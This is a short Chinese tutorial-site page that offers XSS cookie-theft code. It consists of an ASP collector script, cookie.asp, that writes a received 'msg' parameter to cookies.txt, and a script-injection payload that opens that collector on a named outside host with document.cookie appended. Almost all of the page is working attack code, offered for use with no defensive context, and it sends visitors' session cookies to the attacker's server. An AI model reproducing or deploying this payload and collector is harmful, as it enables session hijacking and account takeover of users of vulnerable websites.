zl程序教程

您现在的位置是:首页 >  工具

当前栏目

xss获取cookie源码附利用代码

源码Cookie代码 获取 利用 XSS
2023-09-14 08:57:35 时间

  保存为cookie.asp

<% 
testfile=Server.MapPath("cookies.txt") 
msg=Request("msg") 
set fs=server.CreateObject("scripting.filesystemobject") 
set thisfile=fs.OpenTextFile(testfile,8,True,0) 
thisfile.WriteLine(""&msg& "") 
thisfile.close 
set fs = nothing 
%>

  

利用代码:

<script>window.open('http://zhimo.yuanzhumuban.cc/cookie.asp?msg='+document.cookie)</script>